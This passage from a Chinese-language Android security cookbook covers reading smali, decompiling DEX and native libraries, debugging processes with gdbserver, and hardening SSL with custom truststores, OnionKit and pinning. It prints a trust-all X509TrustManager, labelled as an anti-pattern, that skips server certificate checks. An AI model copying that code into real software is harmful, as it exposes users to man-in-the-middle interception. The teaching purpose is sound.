invoke-virtual {v0, v1, v2}, Ljava/io/PrintStream;->printf(Ljava/lang/String;[Ljava/lang/Object;)Ljava/io/PrintStream;
.line 4
return-void
.end method
请注意,由于 baksmali、Android 的 Dalvik 虚拟机以及 Java 语言在持续改进,你可能会看到与之前代码示例略有不同的结果。如果你遇到了这种情况,不要慌张;之前的示例代码仅用于供你学习参考。你仍然可以将本章的信息应用到 baksmali 生成的代码中,其前几行如下所示:
.class public LExample;
.super Ljava/lang/Object;
.source \”Example.java\”
这些只是关于实际被反编译的类的元数据;它们提到了类名、源文件和超类(这个方法继承的类)。你可能从Example.java的代码中注意到,我们从未显式地从另一个类继承,尽管在反编译时,Example.java似乎有一个父类:这是如何可能的?因为所有 Java 类都隐式地从java.lang.Object继承。
接下来,下一组行更有趣。它们是Example.java构造函数的 smali 代码:
# direct methods
.method public constructor <init>()V
.registers 1
.prologue
.line 1
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
第一行,.method public constructor <init>()V,是接下来要声明的方法。它表示名为init的方法返回 void 类型,并且具有 public 访问标志。
接下来包含代码的那一行,即:
.registers 1
这表示该方法只使用了一个寄存器。方法在运行前会知道需要多少个寄存器。我稍后会提到它需要的那个寄存器。接下来是一行看起来像以下代码的行:
.prologue
这声明了接下来的方法是prologue,这是每个 Java 方法都有的。它确保调用继承形式的方法(如果有)。这解释了为什么下一行,包含以下代码,似乎调用了另一个名为init的方法:
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
但这次它从java.lang.Object类中取消引用。这里的invoke-direct方法接受两个参数:p0寄存器和需要调用的方法的引用。这由Ljava/lang/Object;-><init>()V标签指示。invoke-direct操作码的描述如下:
“invoke-direct用于调用一个非静态的直接方法(一个本质上不可覆盖的实例方法,要么是一个private实例方法,要么是一个构造函数)。”
注意
有关摘录可以在 source.android.com/devices/tech/dalvik/dalvik-bytecode.html 找到。
因此总结一下,它所做的就是调用 java.lang.Object 类的构造函数,这是一个非静态直接方法。
让我们继续看 smali 代码的下一行:
return-void
它所做的正如它看起来那样,即返回一个 void 类型并退出当前方法,将执行流程返回到调用它的方法。
根据官方网站的定义,这个操作码是“从一个 void 方法返回”。
这并没有什么复杂的。接下来以句点(“.”)开头的行,像其他行一样,是一段元数据,或者是由 smali 反编译器添加的脚注,以帮助添加关于代码的一些语义信息。.end 方法行标记了此方法的结束。
主方法的代码如下。在这里,你会看到一些将反复出现的代码形式,即当参数传递给方法时以及调用它们时生成的代码。由于 Java 是面向对象的,当你调用另一个对象的方法时,你做的很多事情就是传递参数和从一种对象类型转换为另一种。因此,一个好主意是学习如何通过将执行这些操作的 Java 代码反编译为 smali 代码来识别这种情况。主方法的代码如下:
.method public static main([Ljava/lang/String;)V
.registers 4
.prologue
.line 3
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
const-string v1, \”Hello World!\\n\”
const/4 v2, 0x0
new-array v2, v2, [Ljava/lang/Object;
invoke-virtual {v0, v1, v2}, Ljava/io/PrintStream;->printf(Ljava/lang/String;[Ljava/lang/Object;)Ljava/io/PrintStream;
.line 4
return-void
.end method
根据第一行 .method public static main([Ljava/lang/String;)V,该方法接受 java.lang.String 类型的数组并返回 void,如下所示:
([Ljava/lang/String;)V
接下来看方法名称,它还指出主方法是静态的,并且具有 public 访问标志。
在方法头之后,我们看到以下代码片段,它表明正在形成 sget-object 操作:
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
根据官方网站的描述,这个操作码是“使用指定的静态字段执行标识的对象静态字段操作,在值寄存器中进行加载或存储”。
根据官方文档,sget-object 操作接受两个参数:
Dalvik 将使用一个寄存器来存储操作结果
用于存储在所述寄存器中的对象引用
这实际上是在获取一个对象实例并将其存储在寄存器中。在这里,这个寄存器是第一个名为 v0 的寄存器。下一行如下所示:
const-string v1, \”Hello World!\\n\”
之前的代码展示了 const-string 指令的作用。它的作用是获取一个字符串并将其保存在由第一个参数指示的寄存器中。这个寄存器是主方法框架中的第二个寄存器,名为 v1。根据官方网站,const-string 操作码的定义是“将指定索引的字符串引用移动到指定寄存器中”。
如果这里不明显,那么正在获取的字符串是 “Hello World\\n”。
接下来,下一行也是const操作码家族的一部分,在这里被用来将0值移入名为v2的第三个寄存器:
const/4 v2, 0x0
这看起来可能有些随意,但下一行你会明白为什么它需要在v2寄存器中有一个0值。下一行的代码如下:
new-array v2, v2, [Ljava/lang/Object;
新数组的操作是构建一个给定类型和大小的数组,并将其保存在最左边的第一个寄存器中。在这里这个寄存器是v2,所以执行完这个操作码后,v2将保存一个类型为java.lang.Object且大小为0的数组;这是操作码第二个参数中v2寄存器的值。这也使得在执行此操作码之前将0值移入v2的操作变得清晰。根据官方网站的定义,这个操作码是“构建一个指定类型和大小的新的数组。类型必须是数组类型。”
下一行包含一个非常常见的操作码;确保你了解这个操作码家族的工作原理,因为你将会经常看到它。继续,下一行如下:
invoke-virtual {v0, v1, v2}, Ljava/io/PrintStream;->printf(Ljava/lang/String;[Ljava/lang/Object;)Ljava/io/PrintStream;
根据官方网站的定义,invoke-virtual操作码是“用于调用一个普通的虚拟方法(一个不是private、static或final的方法,也不是构造函数)。”
invoke-virtual方法的参数如下工作:
invoke-kind {vC, vD, vE, vF, vG}, meth@BBBB
其中vC、vD、vE、vF和vG是用于传递参数给被调用方法的参数寄存器,由最后一个参数meth@BBBB进行解引用。这意味着它接受一个 16 位的 方法引用,因为每个B字段表示一个 4 位的字段。总之,这个操作码在我们的Example.smali代码中所做的是调用一个名为java.io.PrintStream.printf的方法,该方法接受一个类型为java.lang.Object的数组和一个java.lang.String对象,并返回一个类型为java.io.PrintStream的对象。
就这样!你刚刚解读了一些 smali 代码。要习惯阅读 smali 代码需要一些练习。如果你想了解更多,请查看另请参阅部分中的参考资料。
另请参阅
通用设计——Dalvik VM 的字节码,请访问Android 开源项目
介绍与概览——Dalvik 指令格式,请访问Android 开源项目
Dalvik 虚拟机及 Class Path 库分析文档,请访问这里
将 DEX 反编译为 Java
我们知道,DEX 代码是从 Java 编译而来的,Java 是一种相当语义化、易于阅读的语言,现在肯定有人想知道是否有可能将 DEX 代码反编译回 Java?好消息是,这是可能的,当然,这取决于你使用的反编译器的质量和 DEX 代码的复杂性。这是因为除非你真正理解 DEX 代码是如何工作的,否则你将始终受制于你的 DEX 反编译器。有很多方法可以干扰流行的反编译器,比如反射和非标准的 DEX 操作码变体,所以如果你希望这个方法意味着即使你不能阅读 DEX 代码,你也可以称自己为 Android 逆向工程师,那么你就错了!
话说回来,大多数 Android 应用中的 DEX 代码都是相当标准的,我们即将使用的反编译器可以处理一般的 DEX 文件。
准备工作
在开始之前,你需要从互联网上获取一些工具。
Dex2Jar:这是一个从 APK 文件中提取 DEX 文件并输出包含相应类文件的 JAR 的工具;你可以在code.google.com/p/dex2jar/获取它。访问这个 URL 并下载适合你操作系统的版本。
JD-GUI:这是一个 Java 类文件反编译器,你可以在jd.benow.ca/获取它。它支持 Linux、Mac 和 Windows 系统。
如何操作…
要将一个 DEX 文件样例反编译成 Java 代码,你需要执行以下步骤:
假设我们从 APK 或 DEX 文件开始。在这种情况下,你需要先将 DEX 文件转换为 Java 的CLASS文件。以下是使用Dex2jar进行转换的方法:
dex2jar [Dex file].dex
对于我们的示例,你会执行以下语句:
dex2jar Example.dex
输出应该看起来像以下截图:
如果你正确执行了这些步骤,你应在工作目录或当前目录中拥有一个名为Example_dex2jar.jar的文件:
所以现在我们已经有了我们的类文件,我们需要将它们转换回 Java 代码。JD-GUI是我们将用来解决问题的工具。要启动JD-GUI,你只需要执行JD-GUI工具附带的JD-GUI可执行文件。以下是 Linux 上的操作方法;从你的终端执行以下命令:
jd-gui
它应该会生成一个看起来像以下截图的窗口:
当这个窗口出现时,你可以通过点击文件夹图标来打开一个类文件;接下来应该会出现以下文件选择对话框:
一旦这个对话框打开,你应该导航到包含我们从Example.dex文件解析出的Example.class文件的路径。如果你能找到它,JD-GUI将如下显示代码:
你可以使用JD-GUI保存源文件;你需要做的就是在工具栏上点击文件菜单,选择保存所有源文件,然后提供一个目录来保存它:
反编译应用程序的原生库
反编译 Android 原生库相当简单;毕竟,它们只是从 ARM 平台编译的 C/C++目标文件和二进制文件。因此,反编译它们只需找到一个像 Linux 中“非常流行”的objdump这样的反编译器,它可以处理 ARM 二进制文件,而正如我们所发现的,Android NDK 已经为我们解决了这个问题。
在深入了解这个过程之前,你需要确保你有正确的工具。
准备工作
为这个食谱做准备只需确保你有 Android NDK 包的最新副本;你可以在这里获取一份副本。
如何操作…
反编译原生库只需调用 Android NDK 工具链提供的工具之一,即objdump;它已经预编译,包含了允许objdump解释特定于 ARM 二进制文件的字节序和代码结构的所有插件。
要反编译一个 Android 原生库,你需要从终端或命令提示符执行以下命令:
arm-linux-androideabi-objdump –D [native library].so
这是一个示例:
其中arm-linux-androideabi-objdump位于 Android NDK 的toolchains/arm-linux-androideabi-[version]/prebuilt/[arch]/bin/文件夹下,其中[arch]是与你的机器相关的架构或构建版本。在这个例子中,我使用的是 Linux x86_64 机器。
要利用objdump输出的信息,你需要了解 ARM 平台的操作码格式和指令,以及一些关于 ELF 格式的内容。我在另请参阅部分提供了一些好的参考资料,包括一个名为 Sieve 的 Android 应用程序的链接,该程序用于演示本食谱中使用的某些命令。
另请参阅
请查看ARM 架构的 ELF 文档
请查看ARM7TDMI 技术参考手册
请访问ARM 处理器架构网页
请查阅工具接口标准(TIS)可执行文件和链接格式(ELF)规范版本 1.2
Sieve – 一个密码管理应用,展示了某些常见的 Android 漏洞,可在www.mwrinfosecurity.com/system/assets/380/original/sieve.apk找到
使用 GDB 服务器调试 Android 进程
大多数内存破坏、缓冲区溢出和恶意软件分析的专家每天都会使用类似 GDB 的工具进行调试。无论你关注哪个平台,检查内存和执行应用程序进程的动态分析都是任何逆向工程师的基本工作;这当然也包括 Android。以下方法将向你展示如何使用 GDB 调试在 Android 设备上运行的过程。
准备就绪
为了完成这个方法,你需要准备以下内容:
在developer.android.com/tools/sdk/ndk/index.html可获取的 Android NDK 软件包
Android SDK 软件包
如何操作…
要使用gdbserver调试实时 Android 进程,你需要执行以下步骤:
第一步是确保你有一个已经 root 的 Android 设备或者一个正在运行的模拟器。这里我不打算详细说明设置模拟器的过程,但如果你对让一个模拟的 Android 设备运行起来的细节不清晰,请参考第二章中的检查应用程序证书和签名的方法,参与应用程序安全。如果你已经知道如何创建一个模拟的 Android 设备,你可以使用以下命令启动它:
[SDK-path]/sdk/tools/emulator –no-boot-anim –memory 128 –partition-size 512
一旦模拟器或目标设备启动并运行,你应该使用 ADB shell 访问设备。你可以通过执行以下命令来实现:
abd shell
你还需要确保你有 root 权限。模拟器默认授予 root 权限,不过,如果你在实机上这样做,可能需要首先执行su替代用户命令。
然后,你需要将系统目录挂载为可读写,这样我们就可以将gdbserver的副本放入其中。以下是在 adb shell 中重新挂载目录的方法,执行以下命令:
mount
这应该会输出一些关于每个块设备挂载位置的信息;我们关心的是/system目录。记下提及/system的行中打印的/dev/路径。在之前的示例中,名为/dev/block/mtdblock0的设备被挂载在/system上。
使用以下命令重新挂载目录:
mount –o rw,remount [device] /system
现在你已经准备好将gdbserver的副本放入设备中。以下是在非 Android 机器上执行此操作的方法:
adb push [NDK-path]/prebuilt/android-arm/gdbserver/gdbserver /system/bin
一旦gdbserver在目标设备上,你可以通过将其附加到一个运行中的进程来启动它;但在你这样做之前,你需要获取一个示例进程 ID(PID)。你可以通过在目标设备上以下列方式启动ps命令来做到这一点:
ps
ps命令将列出当前运行进程的信息摘要;我们对其中一个当前运行进程的 PID 感兴趣。以下是我们正在运行的模拟器中ps命令输出的一个例子:
在前面的截图中,你可以看到第二列标题为PID;这是你要查找的信息。这里用作例子的日历,其 PID 为766:
拿到一个有效的 PID 后,你可以通过执行以下命令使用gdbserver连接到它:
gdbserver :[tcp-port number] –-attach [PID]
其中[tcp 端口号码]是你希望允许连接的 TCP 端口号,PID 当然是你在上一步获取的 PID 号码。如果操作正确,gdbserver应该会产生以下输出:
一旦gdbserver启动并运行,你需要确保你将从目标 Android 设备转发 TCP 端口号,这样你就可以从你的机器连接到它。你可以通过执行以下命令来完成这个操作:
adb forward tcp:[device port-number] tcp:[local port-number]
这是adb端口转发的例子:
然后,你应该在 Linux 机器上启动预构建的gdb,它位于路径android-ndk-r8e/toolchains/arm-linux-androideabi-[version]/prebuilt/linux-x86_64/bin/下。你可以在上述 NDK 路径内运行以下命令来启动它:
arm-linux-androideabi-gdb
这是它启动方式的截图:
一旦gdb启动并运行,你应该尝试通过在gdb命令提示符下发出以下命令,将其连接到运行目标设备的gdb实例:
target remote :[PID]
其中[PID]是你在第 8 步使用adb转发的本地 TCP 端口号。以下是这个操作的截图:
就这样!你已经可以与运行在 Android 设备上的进程的内存段和寄存器进行交互了!
第七章:安全网络
在本章中,我们将涵盖以下内容:
验证自签名 SSL 证书
使用 OnionKit 库中的 StrongTrustManager
SSL 固定证书验证
引言
安全套接层(SSL)是客户端和服务器之间加密通信的核心部分之一。其主要部署是用在网页浏览器上,以加密消息并确保与第三方服务在进行在线交易(如购买 DVD 或网上银行)时的信任级别。与网页浏览器不同,安卓应用左上角没有挂锁图标,无法提供视觉提示表明连接是安全的。不幸的是,已经有应用开发者跳过了这一验证的情况。这一点在论文《为什么 Eve 和 Mallory 喜欢安卓:安卓 SSL(不)安全性分析》(www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf)中被强调。
在本章中,我们将探讨在安卓上使用 SSL 的一些常见陷阱,特别是与自签名证书相关的问题。主要焦点是如何使 SSL 更强大,以帮助防御前一章提到的某些漏洞。毕竟,安卓应用实际上是胖客户端。因此,为什么不利用与网页浏览器相比的额外能力,执行额外的验证,并对我们信任的证书和证书根施加限制。
尽管这超出了本书的范围,但网络服务器的配置对有效的网络安全是一个重要因素。应用程序能做得很少的常见攻击方式包括 SSL 剥离、会话劫持和跨站请求伪造。然而,这些风险可以通过健壮的服务器配置来缓解。为了帮助这一点,SSL 实验室最近发布了一份最佳实践文档,可在www.ssllabs.com/downloads/SSL_TLS_Deployment_Best_Practices_1.3.pdf获取。
验证自签名 SSL 证书
安卓支持使用 SSL 与标准的安卓 API 组件,如HTTPClient和URLConnection。但是,如果你尝试连接到一个安全的 HTTPS 服务器 URL,可能会遇到SSLHandshakeException。常见的问题包括:
颁发服务器 SSL 证书的证书机构(CA)没有包括在安卓系统中包含的约 130 个 CA 中,因此被视为未知
服务器 SSL 证书是自签名的
服务器没有配置中间 SSL 证书
如果服务器没有配置中间证书,只需安装它们,允许连接代码验证信任的根。然而,如果服务器使用自签名证书或由 CA 颁发的证书,但该 CA 不被安卓信任,我们需要自定义 SSL 验证。
通常的做法是与拥有自签名 SSL 证书的服务器进行开发和测试,只在生产环境中使用付费的 CA 签名证书。因此,本指南特别关注于健壮地验证自签名 SSL 证书。
准备工作
对于本指南,我们将导入自签名的 SSL 证书到应用中,为此,我们将运行一些终端命令。这一部分将介绍在你的机器上下载 SSL 证书文件的工具和命令。
在本指南后面的部分,我们需要用到最新版本的 Bouncy Castle 库来创建和导入证书到信任库中。我们选择 Bouncy Castle,因为这是一个健壮的开源密码学库,Android 有内置支持。你可以在www.bouncycastle.org/latest_releases.html找到bcprov.jar文件。下载并保存到当前工作目录。对于这个指南,我们将其保存到了一个名为libs的本地目录,所以引用.jar文件的路径是/libs/bcprov-jdk15on-149.jar(这是本书编写时的最新版本)。
我们需要从服务器获取一个自签名的 SSL 证书文件;如果你是手动创建的或已经有了,可以跳过这一部分,继续指南的后续内容。
要创建或下载 SSL 证书,我们需要利用一个名为OpenSSL的开源 SSL 工具包:
Mac – 幸运的是,从 Mac OS X 10.2 版本开始,OpenSSL 就已经包含在内。
Linux – 许多 Linux 发行版预装了编译好的 OpenSSL 软件包。如果没有,可以从www.openssl.org/source/下载并构建源代码,或者在 Ubuntu 上,应该执行apt-get install openssl。
Windows – 从源代码构建或使用 Shining Light Productions 提供的第三方 Win32 安装程序(slproweb.com/products/Win32OpenSSL.html)。
在终端窗口中,输入以下命令从服务器获取证书,其中server.domain可以是 IP 地址或服务器名称:
Openssl s_client -showcerts -connect server.domain:443 </dev/null.
证书详情将在控制台输出中显示。复制并粘贴以—–BEGIN CERTIFICATE—–开始,以—–END CERTIFICATE—–结束的证书定义,到一个新文件中,并将其保存为mycert.crt。重要的是不要包含任何额外的空白或尾随空格。
下面的屏幕截图展示了android.com的Openssl –showcerts命令示例:
如果你还没有服务器,并且想要创建一个新的自签名证书来使用,我们首先需要使用 OpenSSL 工具包生成一个私有的 RSA 密钥。在终端窗口中输入以下内容:
openssl genrsa –out my_private_key.pem 2048
这将创建私钥文件my_private_key.pem。下一步是使用上一步生成的私钥生成证书文件。在终端中,输入:
openssl req -new -x509 -key my_private_key.pem -out mycert.crt -days 365
按照屏幕上的提示填写证书详情。请注意,通用名称通常是您的服务器 IP 地址或域名。
准备工作就这些!接下来的一节我们应该手头有一个证书文件。
如何操作…
让我们开始吧!
您应该有一个 SSL 证书,格式为 CRT/PEM 编码,在文本编辑器中打开时,看起来像这样:
—–BEGIN CERTIFICATE—–
WgAwIBAgIDA1MHMA0GCSqGSIb3DQEBBQUAMDwxCzAJBgNVBAYTAlVTMRcwFQYDVQQK
…
—–END CERTIFICATE—–
对于这个示例,我们将使用名为mycert.crt的证书。
为了将证书打包到应用中,我们创建并导入证书到一个.keystore文件,我们将这个文件称为我们应用程序的信任存储。
在终端窗口中,设置CLASSPATH变量,以便以下命令可以访问bcprov.jar文件:
$export CLASSPATH=libs/bcprov-jdk15on-149.jar
bcprov-jdk15on-149.jar文件的先前命令路径应与-providerpath参数相匹配。
现在,使用以下keytool命令创建并导入证书:
$ keytool -import -v -trustcacerts -alias 0 /
-file <(openssl x509 -in mycert.crt) /
-keystore customtruststore.bks /
-storetype BKS /
-providerclass org.bouncycastle.jce.provider.BouncyCastleProvider /
-providerpath libs/bcprov-jdk15on-149.jar
-storepass androidcookbook
系统会提示您信任该证书,输入yes:
Trust this certificate? [no]: yes
输出文件为customtruststore.bks,其中添加了公共证书。信任存储受密码保护,密码为androidcookbook,在应用程序中加载信任存储时,我们将在代码中引用此密码。我们将–storetype参数设置为BKS,表示 Bouncy Castle Keystore 类型,这也解释了.bks扩展名。可以将多个证书导入到信任存储中;例如,开发和测试服务器。
提示
密钥库与信任存储之间的区别
尽管它们是同一类型的文件(.keystore),实际上也可以是同一个文件,但我们倾向于使用不同的文件。我们使用术语信任存储来定义一组您预期与之通信的第三方公共证书。而密钥库用于私钥,并且应该存储在受保护的位置(即不在应用程序中)。
将信任存储文件复制到 Android 应用程序的raw文件夹中;如果该文件夹不存在,请创建它:
/res/raw/customtruststore.bks
从raw目录加载本地信任存储到KeyStore对象:
private static final String STORE_PASSWORD = \”androidcookbook\”;
private KeyStore loadKeyStore() throws Exception {
final KeyStore keyStore = KeyStore.getInstance(\”BKS\”);
final InputStream inputStream = context.getResources().openRawResource(
R.raw.customtruststore);
try {
keyStore.load(inputStream, STORE_PASSWORD.toCharArray());
return keyStore;
} finally {
inputStream.close();
}
}
在这里,我们创建了一个类型为 BKS(Bouncy Castle Keystore)的 KeyStore 类实例,这与我们创建的类型相匹配。方便的是,有一个 .load() 方法,它接收已加载的 .bks 文件的输入流(InputStream)。你会注意到,我们使用的是创建信任存储时使用的同一个密码,用于打开、验证和读取内容。密码的主要用途是验证信任存储的完整性,而不是强制实施安全措施。特别是由于信任存储包含服务器的公钥证书,将其硬编码并不是安全问题,因为证书很容易从 URL 访问到。然而,为了使攻击者更难以攻击,这可以作为 DexGuard 字符串加密的一个好选择,如第五章《保护应用程序》中所述。
扩展 DefaultHttpClient 以使用本地信任存储:
public class LocalTrustStoreMyHttpClient extends DefaultHttpClient {
@Override
protected ClientConnectionManager createClientConnectionManager() {
SchemeRegistry registry = new SchemeRegistry();
registry.register(new Scheme(\”http\”, PlainSocketFactory
.getSocketFactory(), 80));
try {
registry.register(new Scheme(\”https\”, new SSLSocketFactory(
loadKeyStore()), 443));
} catch (Exception e) {
e.printStackTrace();
}
return new SingleClientConnManager(getParams(), registry);
}
}
我们重写了 createClientConnectionManager 方法,以便我们可以注册一个新的 SSLSocketFactory 接口以及我们的本地信任存储。为了代码示例的简洁,这里我们捕获了异常并将错误打印到系统日志;然而,建议在使用实时代码时实现适当的错误处理并减少日志记录的信息量。
使用 HttpClient 编写一个示例 HTTP GET 请求:
public HttpResponse httpClientRequestUsingLocalKeystore(Stringurl)
throws ClientProtocolException, IOException {
HttpClient httpClient = new MyHttpClient();
HttpGet httpGet = new HttpGet(url);
HttpResponse response = httpClient.execute(httpGet);
return response;
}
这展示了如何构建一个简单的 HTTP GET 请求,并使用 LocalTrustStoreMyHttpClient 类,该类不会抛出 SSLHandshakeException,因为来自服务器的自签名证书可以成功验证。
提示
注意
我们为所有 HTTPS 请求定义了一个明确的信任存储。请记住,如果后端服务器证书发生更改,应用程序将停止信任连接并抛出 SecurityException。
这就完成了这个方法;我们可以与受 SSL 保护并由我们的自签名 SSL 证书签名的互联网资源进行通信。
还有更多内容…
通常,在处理 SSL 时,一个常见的错误是捕获并隐藏证书和安全异常。这正是攻击者依赖的做法,以欺骗一个不知情的应用程序用户。关于 SSL 错误,你选择如何处理是主观的,取决于应用程序。然而,阻止网络通信通常是确保数据不会通过可能受损的通道传输的一个好步骤。
在生产环境中使用自签名 SSL 证书
安卓应用程序开发人员通常在编译/构建时就知道他们正在与之通信的服务器。他们甚至可能控制这些服务器。如果你遵循这里提到的验证步骤,那么在生产环境中使用自签名证书是没有安全问题的。优点是,你可以使自己免受证书颁发机构妥协的影响,并节省 SSL 证书续费的费用。
HttpsUrlConnection
使用HttpsURLConnection API 没有额外的安全好处,但你可能更喜欢它。为此,我们采用稍微不同的方法,创建一个自定义的TrustManager类,它验证我们的本地信任库文件:
创建一个自定义的TrustManager类:
public class LocalTrustStoreTrustManager implements X509TrustManager {
private X509TrustManager mTrustManager;
public LocalTrustStoreTrustManager(KeyStore localTrustStore) {
try {
TrustManagerFactory factory = TrustManagerFactory
.getInstance(TrustManagerFactory.getDefaultAlgorithm());
factory.init(localTrustStore);
mTrustManager = findX509TrustManager(factory);
if (mTrustManager == null) {
throw new IllegalStateException(
\”Couldn\’t find X509TrustManager\”);
}
} catch (GeneralSecurityException e) {
throw new RuntimeException(e);
}
}
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
mTrustManager.checkClientTrusted(chain, authType);
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
mTrustManager.checkServerTrusted(chain, authType);
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return mTrustManager.getAcceptedIssuers();
}
private X509TrustManager findX509TrustManager(TrustManagerFactory tmf) {
TrustManager trustManagers[] = tmf.getTrustManagers();
for (int i = 0; i < trustManagers.length; i++) {
if (trustManagers[i] instanceof X509TrustManager) {
return (X509TrustManager) trustManagers[i];
}
}
return null;
}
}
我们实现了X509TrustManager接口,我们LocalTrustStoreTrustManager类的构造函数接受一个KeyStore对象,这是我们在之前的步骤中加载的。如前所述,这个KeyStore对象被称为信任库,因为它包含我们信任的证书。我们使用信任库初始化TrustManagerFactory类,然后使用findX509TrustManager()方法获取X509TrustManager接口的系统特定实现。然后我们保留对这个TrustManager的引用,它使用我们的信任库来验证连接中的证书是否可信,而不是使用系统信任库。
这是一个使用HttpsURLConnection和上一步创建的自定义TrustManager类进行 HTTP GET请求的例子:
public InputStream uRLConnectionRequestLocalTruststore(String targetUrl)
throws Exception {
URL url = new URL(targetUrl);
SSLContext sc = SSLContext.getInstance(\”TLS\”);
sc.init(null, new TrustManager[] { new LocalTrustStoreTrustManager(
loadKeyStore()) }, new SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
HttpsURLConnection urlHttpsConnection = (HttpsURLConnection) url.openConnection();
urlHttpsConnection.setRequestMethod(\”GET\”);
urlHttpsConnection.connect();
return urlHttpsConnection.getInputStream();
}
我们使用LocalTrustStoreTrustManager类初始化SSLContext,这样当我们调用sc.getSocketFactory()时,它将使用我们的TrustManager实现。通过使用setDefaultSSLSocketFactory()覆盖默认设置,将其设置在HttpsURLConnection上。这就是你需要成功连接到使用URLConnection的自签名 SSL 资源的全部操作。
反模式——不应该做的事情!
这是一个反模式,不幸的是,当开发人员尝试使用自签名证书或由不受信任的证书颁发机构签名的 SSL 证书时,它被发布在各种论坛和留言板上。
在这里,我们看到X509TrustManager接口的不安全实现:
public class TrustAllX509TrustManager implements X509TrustManager {
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
// do nothing, trust all :(
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
// do nothing, trust all :(
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return null;
}
}
从代码中可以看出,checkServerTrusted方法没有实现任何验证,因此所有服务器都被信任。这使得 HTTPS 通信容易受到中间人(MITM)攻击,这完全失去了使用证书的意义。
另请参阅
本章后面的“SSL 钉扎”部分展示了类似的方法来增强 SSL 连接的验证。
Android 培训文档中的“使用 HTTPS 和 SSL 的安全”页面。
Bouncy Castle Java 加密 API。
Android 开发者参考指南中的HttpsURLConnection页面。
在 Android 开发者参考指南中的SSLSocketFactory页面
使用 OnionKit 库中的 StrongTrustManager
在这个教程中,我们将利用 Guardian Project 的工作成果,增强我们应用程序对 SSL 连接的验证。具体来说,我们将使用StrongTrustManager。
准备工作
OnionKit 作为一个 Android 库项目进行分发。在我们开始这个教程之前,从 GitHub 页面下载 OnionKit 库(github.com/guardianproject/OnionKit)。
然后,像添加其他任何 Android 库项目一样,提取并添加到你的项目中。
如何操作…
让我们开始吧!
集成StrongTustManager类再简单不过了。只需替换你的HttpClient实现即可。因此,更改以下代码:
public HttpResponse sampleRequest() throws Exception {
HttpClient httpclient = new DefaultHttpClient();
HttpGet httpget = new HttpGet(\”https://server.com/path?apikey=123\”);
HttpResponse response = httpclient.execute(httpget);
return response;
}
修改为以下内容:
public HttpResponse strongSampleRequest() throws Exception {
StrongHttpsClient httpclient = new StrongHttpsClient(context);
ch.boye.httpclientandroidlib.client.methods.HttpGet httpget = new HttpGet(
\”https://server.com/path?apikey=123\”);
HttpResponse response = httpclient.execute();
return response;
}
在你的代码中,将org.apache.http.*的导入改为ch.boye.httpclientandroidlib.*。OnionKit 使用的HttpGet和HttpResponse对象来自另一个名为httpclientandroidlib的库(也包含在 OnionKit 中)。httpclientandroidlib是针对 Android 重新打包的HttpClient 4.2.3 版本,它包含了相较于 Android SDK 中标准HttpClient库的更新和错误修复。
启用通知功能:
httpclient.getStrongTrustManager().setNotifyVerificationFail(true)
这是一个有用的功能,它通知用户在验证过程中出现了问题,同时他们当前连接的互联网资源是不安全的。
启用证书链的完全验证:
httpclient.getStrongTrustManager().setVerifyChain(true);
启用verifyChain可以确保在建立 HTTPS 连接时调用TrustManager.checkServerTrusted server(…)方法时,验证整个证书链。此设置默认启用。
启用对弱加密算法的检查:
httpclient.getStrongTrustManager().setCheckChainCrypto(true);
这会检查证书链中是否存在颁发者使用了 MD5 算法的情况,这种算法被认为是弱算法,应当避免使用。此设置默认启用。
还有更多…
在本章中,我们使用了HttpClient API;你可能会想知道为什么,因为HttpClient API 在 Android 中已被弃用。为了澄清,谷歌弃用了包含在 Android SDK 中的HttpClient版本,因为存在多个现有错误。谷歌目前建议使用URLConnection。但是,如前所述,OnionKit 使用一个单独的、更新的、修复过的HttpClient API 库,因此不应视为已弃用。
Orbot 和 Tor 网络
Tor 项目是一个免费的 Onion 路由实现,它提供了互联网匿名和抵抗流量监控的功能。Orbot 是一个免费的 Android 应用程序,它提供了一个专门供其他 Android 应用使用的代理。
OnionKit 的另一个关键特性是允许你的应用通过 Orbot 代理连接到互联网,从而使其互联网流量匿名化。
OrbotHelper 类有助于确定是否安装并运行了 Orbot 应用,并提供方便的方法来启动和使用它。
锁定和 CACert
StrongTrustManager 类确实提供了一些有限的证书锁定功能,当与 Guardian Projects 的另一个库 CACert 结合使用时,通过限制信任的根证书颁发机构。
我们将在下一章中详细讨论 SSL 锁定,并创建我们自己的 TrustManager 类,专门锁定适合 CA 和自签名证书的 SSL 证书链。
另请参阅
有关 OnionKit for Android 的文章,请访问 guardianproject.info/code/onionkit/
有关 Orbot: Proxy with Tor Android 应用,请访问 play.google.com/store/apps/details?id=org.torproject.android
OnionKit 项目使用的针对 Android 的 HttpClient 4.2.3 重新打包版本 (code.google.com/p/httpclientandroidlib/)
CACert 项目,对于限制信任的根 CA 很有用,位于 github.com/guardianproject/cacert
SSL 锁定
需要一个证书颁发机构(CA)来解决常规网络客户端中的密钥分发问题,例如网页浏览器、即时通讯和电子邮件客户端。它们需要与许多服务器通信,应用程序开发人员对这些服务器事先并不了解。正如我们在之前的食谱中所讨论的,通常我们知道应用与之通信的后端服务器或服务,因此建议限制其他 CA 根证书。
Android 目前信任大约 130 个 CA,不同制造商和版本之间略有差异。它还限制其他 CA 根证书,增强连接的安全性。如果这些 CA 中的一个被攻破,攻击者可以使用被攻破 CA 的根证书为我们的服务器域名签署和颁发新证书。在这种情况下,攻击者可以针对我们的应用完成 MITM 攻击。这是因为标准的 HTTPS 客户端验证会将这些新证书视为可信。
SSL 锁定是限制信任对象的一种方式,通常采用以下两种方法之一:
证书锁定
公钥锁定
就像本章中验证自签名 SSL 证书的食谱一样,证书固定将信任的证书数量限制为本地信任库中的证书。当使用 CA 时,你会在本地信任库中包含你的服务器 SSL 证书以及证书的根签名和任何中间证书。这允许对整个证书链进行完全验证;因此,当被破坏的 CA 签署新证书时,这些证书将无法通过本地信任库的验证。
